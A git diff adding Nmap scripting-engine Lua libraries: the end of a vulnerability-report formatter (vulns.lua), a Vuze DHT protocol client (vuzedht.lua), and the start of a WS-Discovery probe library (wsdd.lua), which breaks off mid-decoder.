+ for k, v in pairs(vuln_table.references) do
+ local str = type(k) == "string" and k or v
+ ref_set[str] = true
+ end
+ end
+
+ if next(ref_set) then
+ insert(out, " References:")
+ local ref_str = {}
+ for link in pairs(ref_set) do
+ insert(out, string_format(" %s", link))
+ table.insert(ref_str, link)
+ end
+ output_table.refs = ref_str
+ end
+ end
+
+ if SHORT_OUTPUT then
+ out = {("%s %s %s"):format(
+ vuln_table.host.targetname or vuln_table.host.ip,
+ STATE_MSG[vuln_table.state],
+ vuln_table.IDS.CVE or vuln_table.title
+ )}
+ end
+ return out, output_table
+end
+
+--- Format the vulnerability information and return it in a table.
+--
+-- This function can return nil if the vulnerability mandatory fields
+-- are missing or if the script argument <code>vulns.showall</code> and
+-- the <code>'showall'</code> string parameter were not set and the state
+-- of the vulnerability is <code>NOT VULNERABLE</code>.
+--
+-- Script writers must check the returned result.
+--
+-- If the vulnerability table contains the <code>host</code> and
+-- <code>port</code> tables, then the following fields will be shown:
+-- <code>vuln_table.host.targetname</code>,
+-- <code>vuln_table.host.ip</code>, <code>vuln_table.port.number</code> and
+-- <code>vuln_table.port.service</code>
+--
+-- @usage
+-- local vuln_output = vulns.format_vuln_table(vuln_table)
+-- if vuln_output then
+-- -- process the vuln_output table
+-- end
+--
+-- @param vuln_table The vulnerability information table.
+-- @param showall A string if set then show all the vulnerabilities
+-- including the <code>NOT VULNERABLE</code> ones. This optional
+-- parameter can be used to overwrite the <code>vulns.showall</code>
+-- script argument value.
+-- @return Multiline string on success. If one of the mandatory
+-- vulnerability fields is missing or if the script argument
+-- <code>vulns.showall</code> and the <code>'showall'</code> string
+-- parameter were not specified and the vulnerability state is
+-- <code>NOT VULNERABLE</code> then it will print a debug message
+-- about the vulnerability and return nil.
+format_vuln_table = function(vuln_table, showall)
+ local out = format_vuln_base(vuln_table, showall)
+
+ if out then
+ -- Show the 'host' and 'port' tables information.
+ if vuln_table.host and type(vuln_table.host) == "table" and
+ vuln_table.host.ip then
+ local run_info = "Target: "
+ if vuln_table.host.targetname then
+ run_info = run_info..vuln_table.host.targetname
+ end
+ run_info = run_info..string_format(" (%s)", vuln_table.host.ip)
+ if vuln_table.port and type(vuln_table.port == "table") and
+ vuln_table.port.number then
+ run_info = run_info..string_format(" Port: %s%s",
+ vuln_table.port.number,
+ vuln_table.port.service and
+ "/"..vuln_table.port.service or "")
+ end
+ insert(out, 1, run_info)
+ end
+
+ -- Show the list of scripts that reported this vulnerability
+ if vuln_table.scripts and next(vuln_table.scripts) then
+ local script_list = string_format(" Reported by scripts: %s",
+ concat(vuln_table.scripts, " "))
+ insert(out, script_list)
+ end
+
+ return out
+ end
+end
+
+--- Format the vulnerability information and return it as a string.
+--
+-- This function can return nil if the vulnerability mandatory fields
+-- are missing or if the script argument <code>vulns.showall</code> and
+-- the <code>'showall'</code> string parameter were not set and the
+-- state of the vulnerability is <code>NOT VULNERABLE</code>.
+--
+-- Script writers must check the returned result.
+--
+-- If the vulnerability table contains the <code>host</code> and
+-- <code>port</code> tables, then the following fields will be shown:
+-- <code>vuln_table.host.targetname</code>,
+-- <code>vuln_table.host.ip</code>, <code>vuln_table.port.number</code> and
+-- <code>vuln_table.port.service</code>
+--
+-- @usage
+-- local vuln_str = vulns.format_vuln(vuln_table, 'showall')
+-- if vuln_str then
+-- return vuln_str
+-- end
+--
+-- @param vuln_table The vulnerability information table.
+-- @param showall A string if set then show all the vulnerabilities
+-- including the <code>NOT VULNERABLE</code> ones. This optional
+-- parameter can be used to overwrite the <code>vulns.showall</code>
+-- script argument value.
+-- @return Multiline string on success. If one of the mandatory
+-- vulnerability fields is missing or if the script argument
+-- <code>vulns.showall</code> and the <code>'showall'</code> string
+-- parameter were not specified and the vulnerability state is
+-- <code>NOT VULNERABLE</code> then it will print a debug message
+-- about the vulnerability and return nil.
+format_vuln = function(vuln_table, showall)
+ local out = format_vuln_table(vuln_table, showall or SHOW_ALL)
+
+ if out then
+ return concat(out, "\n")
+ end
+end
+
+--- Initializes the vulnerability database and instructs the library
+-- to save all the vulnerability tables reported by scripts into this
+-- database (registry).
+--
+-- Usually this function should be called during a <code>prerule</code>
+-- function so it can instructs the library to save vulnerability
+-- entries that will be reported by the <code>vulns.Report</code> class
+-- or by the <code>vulns.add()</code> function.
+--
+-- This function can take an optional callback filter parameter that can
+-- help the library to decide if it should store the vulnerability table
+-- in the registry or not. The callback function must return a boolean
+-- value. If this parameter is not set then all vulnerability tables
+-- will be saved.
+-- This function will return a uniq <code>FILTER ID</code> for the scripts
+-- to be used by the other library functions to reference the appropriate
+-- vulnerability entries that were saved previously.
+--
+-- @usage
+-- FID = vulns.save_reports() -- save all vulnerability reports.
+--
+-- -- Save only vulnerabilities with the <code>VULNERABLE</code> state.
+-- local function save_only_vuln(vuln_table)
+-- if (vuln_table.state & vulns.STATE.VULN) ~= 0 then
+-- return true
+-- end
+-- return false
+-- end
+-- FID = vulns.save_reports(save_only_vuln)
+--
+-- @param filter_callback The callback function to filter vulnerabilities.
+-- The function will receive a vulnerability table as a parameter in
+-- order to inspect it, and must return a boolean value. True if the
+-- the vulnerability table should be saved in the registry, otherwise
+-- false. This parameter is optional.
+-- @return Filter ID A uniq ID to be used by the other library functions
+-- to reference and identify the appropriate vulnerabilities.
+save_reports = function(filter_callback)
+ if not VULNS then
+ nmap.registry.VULNS = nmap.registry.VULNS or {}
+ VULNS = nmap.registry.VULNS
+ VULNS.ENTRIES = VULNS.ENTRIES or {}
+ VULNS.ENTRIES.HOSTS = VULNS.ENTRIES.HOSTS or {}
+ VULNS.ENTRIES.NETWORKS = VULNS.ENTRIES.NETWORKS or {}
+ VULNS.SHARED = VULNS.SHARED or {}
+ VULNS.SHARED.REFERENCES = VULNS.SHARED.REFERENCES or {}
+ VULNS.FILTERS_FUNCS = VULNS.FILTERS_FUNCS or {}
+ VULNS.FILTERS_IDS = VULNS.FILTERS_IDS or {}
+
+ -- Enable functions
+ add_ids = registry_add_ids
+ get_ids = registry_get_ids
+ lookup_id = registry_lookup_id
+ add = registry_add_vulns
+ find_by_id = registry_find_by_id
+ find = registry_find_vulns
+ make_output = registry_make_output
+ end
+
+ local fid = register_filter(VULNS.FILTERS_FUNCS, filter_callback)
+ VULNS.FILTERS_IDS[fid] = {}
+ debug(3,
+ "vulns.lua: New Filter table: VULNS.FILTERS_IDS[%d]", fid)
+ return fid
+end
+
+--- The Report class
+--
+-- Hostrule and Portrule scripts should use this class to store and
+-- report vulnerabilities.
+Report = {
+
+ --- Creates a new Report object
+ --
+ -- @return report object
+ new = function(self, script_name, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.entries = {vulns = {}, not_vulns = {}}
+ o.script_name = script_name
+ if host then
+ o.host = {}
+ o.host.ip = host.ip
+ o.host.targetname = host.targetname
+ o.host.bin_ip = host.bin_ip
+ if port then
+ o.port = {}
+ o.port.number = port.number
+ o.port.protocol = port.protocol
+ o.port.service = port.service
+ -- Copy table
+ o.port.version = tcopy(port.version)
+ end
+ end
+ -- TODO: CPE support
+ return o
+ end,
+
+ --- Registers and associates a callback function with the popular ID
+ -- vulnerability type to construct and return popular links
+ -- automatically.
+ --
+ -- The callback function takes a vulnerability ID as a parameter
+ -- and must return a link. The library automatically supports three
+ -- different popular IDs:
+ -- <code>CVE</code>: cve.mitre.org
+ -- <code>OSVDB</code>: osvdb.org
+ -- <code>BID</code>: www.securityfocus.com/bid
+ --
+ -- @usage
+ -- function get_example_link(id)
+ -- return string.format("%s%s",
+ -- "http://example.com/example?name=", id)
+ -- end
+ -- report:add_popular_id('EXM-ID', get_example_link)
+ --
+ -- @param id_type String representing the vulnerability ID type.
+ -- <code>'CVE'</code>, <code>'OSVDB'</code> ...
+ -- @param callback A function to construct and return links.
+ -- @return True on success or false if it can not register the callback.
+ add_popular_id = function(self, id_type, callback)
+ return register_popular_id(id_type, callback)
+ end,
+
+ --- Adds vulnerability tables to the report.
+ --
+ -- Takes a variable number of vulnerability tables and stores them
+ -- in the internal db of the report so they can be reported later.
+ --
+ -- @usage
+ -- local vuln_table = {
+ -- title = "Vulnerability X",
+ -- state = vulns.STATE.VULN,
+ -- ...,
+ -- -- take a look at the vulnerability table example at the beginning.
+ -- }
+ -- local status, ret = report:add_vulns(vuln_table)
+ -- @param vulnerabilities A variable number of vulnerability tables.
+ -- @return True if the vulnerability tables were added, otherwise
+ -- False.
+ -- @return Number of added vulnerabilities on success.
+ add_vulns = function(self, ...)
+ local count = 0
+ for i = 1, select("#", ...) do
+ local vuln_table = select(i, ...)
+ if validate_vuln(vuln_table) then
+ normalize_vuln_info(vuln_table)
+ vuln_table.script_name = self.script_name
+ vuln_table.host = self.host
+ vuln_table.port = self.port
+ if (vuln_table.state & STATE.NOT_VULN) ~= 0 then
+ insert(self.entries.not_vulns, vuln_table)
+ else
+ insert(self.entries.vulns, vuln_table)
+ end
+ add(vuln_table.script_name, vuln_table)
+ count = count + 1
+ end
+ end
+ return count > 0 and true or false, count
+ end,
+
+ --- Report vulnerabilities.
+ --
+ -- Takes a variable number of vulnerability tables and stores them
+ -- in the internal db of the report, then format all the
+ -- vulnerabilities that are in this db for user display. Scripts should
+ -- use this function as a tail call.
+ --
+ -- To show the <code>NOT VULNERABLE</code> entries users must specify
+ -- the <code>vulns.showall</code> script argument.
+ --
+ -- @usage
+ -- local vuln_table = {
+ -- title = "Vulnerability X",
+ -- state = vulns.STATE.VULN,
+ -- ...,
+ -- -- take a look at the vulnerability table example at the beginning.
+ -- }
+ -- return report:make_output(vuln_table)
+ --
+ -- @param vulnerabilities A variable number of vulnerability tables.
+ -- @return multiline string on success, or nil on failures.
+ make_output = function(self, ...)
+ self:add_vulns(...)
+
+ local vuln_count = #self.entries.vulns
+ local not_vuln_count = #self.entries.not_vulns
+ local output = {}
+ local output_table = stdnse.output_table()
+ local out_t = stdnse.output_table()
+ local output_t2 = stdnse.output_table()
+ -- VULNERABLE: LIKELY_VULN, VULN, DoS, EXPLOIT
+ if vuln_count > 0 then
+ output_table.state = "VULNERABLE"
+ if not SHORT_OUTPUT then
+ insert(output, "VULNERABLE:")
+ end
+ for i, vuln_table in ipairs(self.entries.vulns) do
+ local vuln_out, out_t = format_vuln_base(vuln_table)
+ if type(out_t) == "table" then
+ local ID = vuln_table.IDS.CVE or vuln_table.IDS[next(vuln_table.IDS)]
+ output_t2[ID] = out_t
+ end
+ if vuln_out then
+ output_table.report = concat(vuln_out, "\n")
+ insert(output, concat(vuln_out, "\n"))
+ if vuln_count > 1 and i ~= vuln_count then
+ insert(output, "") -- separate several entries
+ end
+ end
+ end
+ end
+ -- NOT VULNERABLE: NOT_VULN
+ if not_vuln_count > 0 then
+ if SHOW_ALL then
+ if vuln_count > 0 then insert(output, "") end
+ output_table.state = "NOT VULNERABLE"
+ if not SHORT_OUTPUT then
+ insert(output, "NOT VULNERABLE:")
+ end
+ end
+ for i, vuln_table in ipairs(self.entries.not_vulns) do
+ local vuln_out, out_t = format_vuln_base(vuln_table, SHOW_ALL)
+ if type(out_t) == "table" then
+ local ID = vuln_table.IDS.CVE or vuln_table.IDS[next(vuln_table.IDS)]
+ output_t2[ID] = out_t
+ end
+ if vuln_out then
+ output_table.report = concat(vuln_out, "\n")
+ insert(output, concat(vuln_out, "\n"))
+ if not_vuln_count > 1 and i ~= not_vuln_count then
+ insert(output, "") -- separate several entries
+ end
+ end
+ end
+ end
+ if #output==0 and #output_t2==0 then
+ return nil
+ end
+ return output_t2, stdnse.format_output(true, output)
+ end,
+}
+
+return _ENV;
diff --git a/nselib/vuzedht.lua b/nselib/vuzedht.lua
new file mode 100644
index 0000000..cacdc21
--- /dev/null
+++ b/nselib/vuzedht.lua
@@ -0,0 +1,548 @@
+---
+-- A Vuze DHT protocol implementation based on the following documentation:
+-- o http://wiki.vuze.com/w/Distributed_hash_table
+--
+-- It currently supports the PING and FIND_NODE requests and parses the
+-- responses. The following main classes are used by the library:
+--
+-- o Request - the request class containing all of the request classes. It
+-- currently contains the Header, PING and FIND_NODE classes.
+--
+-- o Response - the response class containing all of the response classes. It
+-- currently contains the Header, PING, FIND_NODE and ERROR
+-- class.
+--
+-- o Session - a class containing "session state" such as the transaction- and
+-- instance ID's.
+--
+-- o Helper - The helper class that serves as the main interface between
+-- scripts and the library.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local rand = require "rand"
+_ENV = stdnse.module("vuzedht", stdnse.seeall)
+
+
+Request = {
+
+ Actions = {
+ ACTION_PING = 1024,
+ FIND_NODE = 1028,
+ },
+
+ -- The request Header class shared by all Requests classes
+ Header = {
+
+ -- Creates a new Header instance
+ -- @param action number containing the request action
+ -- @param session instance of Session
+ -- @return o new instance of Header
+ new = function(self, action, session)
+ local o = {
+ conn_id = string.char(255) .. rand.random_string(7),
+ -- we need to handle this one like this, due to a bug in nsedoc
+ -- it used to be action = action, but that breaks parsing
+ ["action"] = action,
+ trans_id = session:getTransactionId(),
+ proto_version = 0x32,
+ vendor_id = 0,
+ network_id = 0,
+ local_proto_version = 0x32,
+ address = session:getAddress(),
+ port = session:getPort(),
+ instance_id = session:getInstanceId(),
+ time = os.time(),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the header to a string
+ __tostring = function(self)
+ local lhost = ipOps.ip_to_str(self.address)
+ return self.conn_id .. string.pack( ">I4 I4 BB I4 B s1 I2 I4 I8 ", self.action, self.trans_id,
+ self.proto_version, self.vendor_id, self.network_id, self.local_proto_version,
+ lhost, self.port, self.instance_id, self.time )
+ end,
+
+ },
+
+ -- The PING Request class
+ Ping = {
+
+ -- Creates a new Ping instance
+ -- @param session instance of Session
+ -- @return o new instance of Ping
+ new = function(self, session)
+ local o = {
+ header = Request.Header:new(Request.Actions.ACTION_PING, session)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts a Ping Request to a string
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+
+ },
+
+ -- The FIND_NODES Request class
+ FindNode = {
+
+ -- Creates a new FindNode instance
+ -- @param session instance of Session
+ -- @return o new instance of FindNode
+ new = function(self, session)
+ local o = {
+ header = Request.Header:new(Request.Actions.FIND_NODE, session),
+ node_id = '\xA7' .. rand.random_string(19),
+ status = 0xFFFFFFFF,
+ dht_size = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts a FindNode Request to a string
+ __tostring = function(self)
+ local data = tostring(self.header)
+ .. string.pack(">s1 I4I4", self.node_id, self.status, self.dht_size)
+ return data
+ end,
+ }
+
+}
+
+Response = {
+
+ -- A table of currently supported Actions (Responses)
+ -- It's used in the fromString method to determine which class to create.
+ Actions = {
+ ACTION_PING = 1025,
+ FIND_NODE = 1029,
+ ERROR = 1032,
+ },
+
+ -- Creates an address record based on received data
+ -- @param data containing an address record [C][I|H][S] where
+ -- [C] is the length of the address (4 or 16)
+ -- [I|H] is the binary address
+ -- [S] is the port number as a short
+ -- @return o Address instance on success, nil on failure
+ Address = {
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the received data
+ -- @return true on success, false on failure
+ parse = function(self)
+ local ip, err
+ ip, self.port = string.unpack(">s1 I2", self.data)
+ self.ip, err = ipOps.str_to_ip(ip)
+ if not self.ip then
+ stdnse.debug1("Unknown address type (length: %d)", #ip)
+ return false, "Unknown address type"
+ end
+ return true
+ end
+ },
+
+ -- The response header, present in all packets
+ Header = {
+
+ Vendors = {
+ [0] = "Azureus",
+ [1] = "ShareNet",
+ [255] = "Unknown", -- to be honest, we report all except 0 and 1 as unknown
+ },
+
+ Networks = {
+ [0] = "Stable",
+ [1] = "CVS"
+ },
+
+ -- Creates a new Header instance
+ -- @param data string containing the received data
+ -- @return o instance of Header
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- parses the header
+ parse = function(self)
+ local pos
+ self.action, self.trans_id, self.conn_id,
+ self.proto_version, self.vendor_id, self.network_id,
+ self.instance_id, pos = string.unpack(">I4 I4 c8 BB I4 I4 ", self.data)
+ end,
+
+ -- Converts the header to a suitable string representation
+ __tostring = function(self)
+ local result = {}
+ table.insert(result, ("Transaction id: %d"):format(self.trans_id))
+ table.insert(result, ("Connection id: 0x%s"):format(stdnse.tohex(self.conn_id)))
+ table.insert(result, ("Protocol version: %d"):format(self.proto_version))
+ table.insert(result, ("Vendor id: %s (%d)"):format(
+ Response.Header.Vendors[self.vendor_id] or "Unknown", self.vendor_id))
+ table.insert(result, ("Network id: %s (%d)"):format(
+ Response.Header.Networks[self.network_id] or "Unknown", self.network_id))
+ table.insert(result, ("Instance id: %d"):format(self.instance_id))
+ return stdnse.format_output(true, result)
+ end,
+
+ },
+
+ -- The PING response
+ PING = {
+
+ -- Creates a new instance of PING
+ -- @param data string containing the received data
+ -- @return o new PING instance
+ new = function(self, data)
+ local o = {
+ header = Response.Header:new(data)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Creates a new PING instance based on received data
+ -- @param data string containing received data
+ -- @return status true on success, false on failure
+ -- @return new instance of PING on success, error message on failure
+ fromString = function(data)
+ local ping = Response.PING:new(data)
+ if ( ping ) then
+ return true, ping
+ end
+ return false, "Failed to parse PING response"
+ end,
+
+ -- Converts the PING response to a response suitable for script output
+ -- @return result formatted script output
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ },
+
+ -- A class to process the response from a FIND_NODE query
+ FIND_NODE = {
+
+ -- Creates a new FIND_NODE instance
+ -- @param data string containing the received data
+ -- @return o new instance of FIND_NODE
+ new = function(self, data)
+ local o = {
+ header = Response.Header:new(data),
+ data = data:sub(27)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ return o
+ end,
+
+ -- Parses the FIND_NODE response
+ parse = function(self)
+ local pos
+ self.spoof_id, self.node_type, self.dht_size,
+ self.network_coords, pos = string.unpack(">I4 I4 I4 c20", self.data)
+
+ local contact_count
+ contact_count, pos = string.unpack("B", self.data, pos)
+ self.contacts = {}
+ for i=1, contact_count do
+ local contact = {}
+ local address
+ contact.type, contact.proto_version, address, contact.port, pos = string.unpack(
+ ">BBs1I2", self.data, pos)
+
+ contact.address = ipOps.str_to_ip(address)
+ table.insert(self.contacts, contact)
+ end
+ end,
+
+ -- Creates a new instance of FIND_NODE based on received data
+ -- @param data string containing received data
+ -- @return status true on success, false on failure
+ -- @return new instance of FIND_NODE on success, error message on failure
+ fromString = function(data)
+ local find = Response.FIND_NODE:new(data)
+ if ( find.header.proto_version < 13 ) then
+ stdnse.debug1("ERROR: Unsupported version %d", find.header.proto_version)
+ return false
+ end
+
+ return true, find
+ end,
+
+ -- Convert the FIND_NODE response to formatted string data, suitable
+ -- for script output.
+ -- @return string with formatted FIND_NODE data
+ __tostring = function(self)
+ if ( not(self.contacts) ) then
+ return ""
+ end
+
+ local result = {}
+ for _, contact in ipairs(self.contacts) do
+ local address = contact.address
+ if address:find(":") then
+ address = ("[%s]"):format(address)
+ end
+ table.insert(result, ("%s:%d"):format(address, contact.port))
+ end
+ return stdnse.format_output(true, result)
+ end
+ },
+
+ -- The ERROR action
+ ERROR = {
+
+ -- Creates a new ERROR instance based on received socket data
+ -- @return o new ERROR instance on success, nil on failure
+ new = function(self, data)
+ local o = {
+ header = Response.Header:new(data),
+ data = data:sub(27)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- parses the received data and attempts to create an ERROR response
+ -- @return true on success, false on failure
+ parse = function(self)
+ local err_type, pos = string.unpack(">I4", self.data)
+ if ( 1 == err_type ) then
+ self.addr = Response.Address:new(self.data:sub(pos))
+ return true
+ end
+ return false
+ end,
+
+ -- creates a new ERROR instance based on the received data
+ -- @return true on success, false on failure
+ fromString = function(data)
+ local err = Response.ERROR:new(data)
+ if ( err ) then
+ return true, err
+ end
+ return false
+ end,
+
+ -- Converts the ERROR action to a formatted response
+ -- @return string containing the formatted response
+ __tostring = function(self)
+ return ("Wrong address, expected: %s"):format(self.addr.ip)
+ end,
+
+ },
+
+ -- creates a suitable Response class based on the Action received
+ -- @return true on success, false on failure
+ -- @return response instance of suitable Response class on success,
+ -- err string error message if status is false
+ fromString = function(data)
+ local action, pos = string.unpack(">I4", data)
+
+ if ( action == Response.Actions.ACTION_PING ) then
+ return Response.PING.fromString(data)
+ elseif ( action == Response.Actions.FIND_NODE ) then
+ return Response.FIND_NODE.fromString(data)
+ elseif ( action == Response.Actions.ERROR ) then
+ return Response.ERROR.fromString(data)
+ end
+
+ stdnse.debug1("ERROR: Unknown response received from server")
+ return false, "Failed to parse response"
+ end,
+
+
+
+}
+
+-- The Session
+Session = {
+
+ -- Creates a new Session instance to keep track on some of the protocol
+ -- stuff, such as transaction- and instance- identities.
+ -- @param address the local address to pass in the requests to the server
+ -- this could be either the local address or the IP of the router
+ -- depending on if NAT is used or not.
+ -- @param port the local port to pass in the requests to the server
+ -- @return o new instance of Session
+ new = function(self, address, port)
+ local o = {
+ trans_id = math.random(12345678),
+ instance_id = math.random(12345678),
+ address = address,
+ port = port,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Gets the next transaction ID
+ -- @return trans_id number
+ getTransactionId = function(self)
+ self.trans_id = self.trans_id + 1
+ return self.trans_id
+ end,
+
+ -- Gets the next instance ID
+ -- @return instance_id number
+ getInstanceId = function(self)
+ self.instance_id = self.instance_id + 1
+ return self.instance_id
+ end,
+
+ -- Gets the stored local address used to create the session
+ -- @return string containing the IP passed to the session
+ getAddress = function(self)
+ return self.address
+ end,
+
+ -- Get the stored local port used to create the session
+ -- @return number containing the local port
+ getPort = function(self)
+ return self.port
+ end
+
+}
+
+-- The Helper class, used as main interface between the scripts and the library
+Helper = {
+
+ -- Creates a new instance of the Helper class
+ -- @param host table as passed to the action method
+ -- @param port table as passed to the action method
+ -- @param lhost [optional] used if an alternate local address is to be
+ -- passed in the requests to the remote node (ie. NAT is in play).
+ -- @param lport [optional] used if an alternate port is to be passed in
+ -- the requests to the remote node.
+ -- @return o new instance of Helper
+ new = function(self, host, port, lhost, lport)
+ local o = {
+ host = host,
+ port = port,
+ lhost = lhost,
+ lport = lport
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the remote Vuze Node
+ -- @return true on success, false on failure
+ -- @return err string error message if status is false
+ connect = function(self)
+ local lhost = tonumber(self.lhost or stdnse.get_script_args('vuzedht.lhost'))
+ local lport = tonumber(self.lport or stdnse.get_script_args('vuzedht.lport'))
+
+ self.socket = nmap.new_socket()
+
+ if ( lport ) then
+ self.socket:bind(nil, lport)
+ end
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ if ( not(lhost) or not(lport) ) then
+ local status, lh, lp, _, _ = self.socket:get_info()
+ if ( not(status) ) then
+ return false, "Failed to get socket information"
+ end
+ lhost = lhost or lh
+ lport = lport or lp
+ end
+
+ self.session = Session:new(lhost, lport)
+ return true
+ end,
+
+ -- Sends a Vuze PING request to the server and parses the response
+ -- @return status true on success, false on failure
+ -- @return response PING response instance on success,
+ -- err string containing the error message on failure
+ ping = function(self)
+ local ping = Request.Ping:new(self.session)
+ local status, err = self.socket:send(tostring(ping))
+ if ( not(status) ) then
+ return false, "Failed to send PING request to server"
+ end
+
+ local data
+ status, data = self.socket:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive PING response from server"
+ end
+ local response
+ status, response = Response.fromString(data)
+ if ( not(status) ) then
+ return false, "Failed to parse PING response from server"
+ end
+ return true, response
+ end,
+
+ -- Requests a list of known nodes by sending the FIND_NODES request
+ -- to the remote node and parses the response.
+ -- @return status true on success, false on failure
+ -- @return response FIND_NODE response instance on success
+ -- err string containing the error message on failure
+ findNodes = function(self)
+ local find = Request.FindNode:new(self.session)
+ local status, err = self.socket:send(tostring(find))
+ if ( not(status) ) then
+ return false, "Failed to send FIND_NODE request to server"
+ end
+
+ local data
+ status, data = self.socket:receive()
+ local response
+ status, response = Response.fromString(data)
+ if ( not(status) ) then
+ return false, "Failed to parse FIND_NODE response from server"
+ end
+ return true, response
+ end,
+
+ -- Closes the socket connect to the remote node
+ close = function(self)
+ self.socket:close()
+ end,
+}
+
+return _ENV;
diff --git a/nselib/wsdd.lua b/nselib/wsdd.lua
new file mode 100644
index 0000000..4ad537d
--- /dev/null
+++ b/nselib/wsdd.lua
@@ -0,0 +1,382 @@
+--- A library that enables scripts to send Web Service Dynamic Discovery probes
+-- and perform some very basic decoding of responses. The library is in no way
+-- a full WSDD implementation it's rather the result of some packet captures
+-- and some creative coding.
+--
+-- The "general" probe was captured of the wire of a Windows 7 box while
+-- connecting to the network. The "wcf" probe was captured from a custom tool
+-- tool performing WCF discovery in .NET 4.0.
+--
+-- More information about the protocol can be found here:
+-- * http://docs.oasis-open.org/ws-dd/discovery/1.1/os/wsdd-discovery-1.1-spec-os.pdf
+-- * http://specs.xmlsoap.org/ws/2005/04/discovery/ws-discovery.pdf
+--
+-- The library contains the following classes
+-- * <code>Comm</code>
+-- ** A class that handles most communication
+-- * <code>Helper</code>
+-- ** The helper class wraps the <code>Comm</code> class using functions with a more descriptive name.
+-- * <code>Util</code>
+-- ** The Util class contains a number of static functions mainly used to convert data.
+-- * <code>Decoders</code>
+-- ** The Decoders class contains static functions used for decoding probe matches
+--
+-- The following code snippet shows how the library can be used:
+-- <code>
+-- local helper = wsdd.Helper:new()
+-- helper:setMulticast(true)
+-- return stdnse.format_output( helper:discoverDevices() )
+-- </code>
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local target = require "target"
+_ENV = stdnse.module("wsdd", stdnse.seeall)
+
+local HAVE_SSL, openssl = pcall(require,'openssl')
+
+-- The different probes
+local probes = {
+
+ -- Detects devices supporting the WSDD protocol
+ {
+ name = 'general',
+ desc = 'Devices',
+ data = '<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope" ' ..
+ 'xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" ' ..
+ 'xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery">' ..
+ '<env:Header>' ..
+ '<wsd:AppSequence InstanceId="1285624958737" MessageNumber="1" ' ..
+ 'SequenceId="urn:uuid:#uuid#"/>' ..
+ '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>' ..
+ '<wsa:Action>' ..
+ 'http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe' ..
+ '</wsa:Action><wsa:MessageID>urn:uuid:#uuid#</wsa:MessageID>' ..
+ '</env:Header><env:Body><wsd:Probe/></env:Body></env:Envelope>'
+ },
+
+ -- Detects Windows Communication Framework (WCF) web services
+ {
+ name = 'wcf',
+ desc = 'WCF Services',
+ data = '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ' ..
+ 'xmlns:a="http://www.w3.org/2005/08/addressing">' ..
+ '<s:Header>' ..
+ '<a:Action s:mustUnderstand="1">' ..
+ 'http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01/Probe' ..
+ '</a:Action>' ..
+ '<a:MessageID>urn:uuid:#uuid#</a:MessageID>' ..
+ '<a:To s:mustUnderstand="1">' ..
+ 'urn:docs-oasis-open-org:ws-dd:ns:discovery:2009:01' ..
+ '</a:To>' ..
+ '</s:Header>' ..
+ '<s:Body>' ..
+ '<Probe xmlns="http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01">' ..
+ '<Duration xmlns="http://schemas.microsoft.com/ws/2008/06/discovery">' ..
+ 'PT20S' ..
+ '</Duration>' ..
+ '</Probe>' ..
+ '</s:Body>' ..
+ '</s:Envelope>',
+ }
+}
+
+-- A table that keeps track of received probe matches
+local probe_matches = {}
+
+Util = {
+
+ --- Creates a UUID
+ --
+ -- @return uuid string containing a uuid
+ generateUUID = function()
+ local rnd_bytes = stdnse.tohex(openssl.rand_bytes(16)):lower()
+
+ return ("%s-%s-%s-%s-%s"):format( rnd_bytes:sub(1, 8),
+ rnd_bytes:sub(9, 12), rnd_bytes:sub( 13, 16 ), rnd_bytes:sub( 17, 20 ),
+ rnd_bytes:sub(21, 32) )
+ end,
+
+ --- Retrieves a probe from the probes table by name
+ --
+ -- @param name string containing the name of the probe to retrieve
+ -- @return probe table containing the probe or nil if not found
+ getProbeByName = function( name )
+ for _, probe in ipairs(probes) do
+ if ( probe.name == name ) then
+ return probe
+ end
+ end
+ return
+ end,
+
+ getProbes = function() return probes end,
+
+ sha1sum = function(data) return openssl.sha1(data) end
+
+}
+
+Decoders = {
+
+ --- Decodes a wcf probe response
+ --
+ -- @param data string containing the response as received over the wire
+ -- @return status true on success, false on failure
+ -- @return response table containing the following fields
+ -- <code>msgid</code>, <code>xaddrs</code>, <code>types</code>
+ -- err string containing the error message
+ ['wcf'] = function( data )
+ local response = {}
+
+ -- extracts the messagid, so we can check if we already got a response
+ response.msgid = data:match("<[^:]*:MessageID>urn:uuid:([^<]*)</[^:]*:MessageID>")
+
+ -- if unable to parse msgid return nil
+ if ( not(response.msgid) ) then
+ return false, "No message id was found"
+ end
+
+ response.xaddrs = data:match("<[^:]*:*XAddrs>(.*)</[^:]*:*XAddrs>")
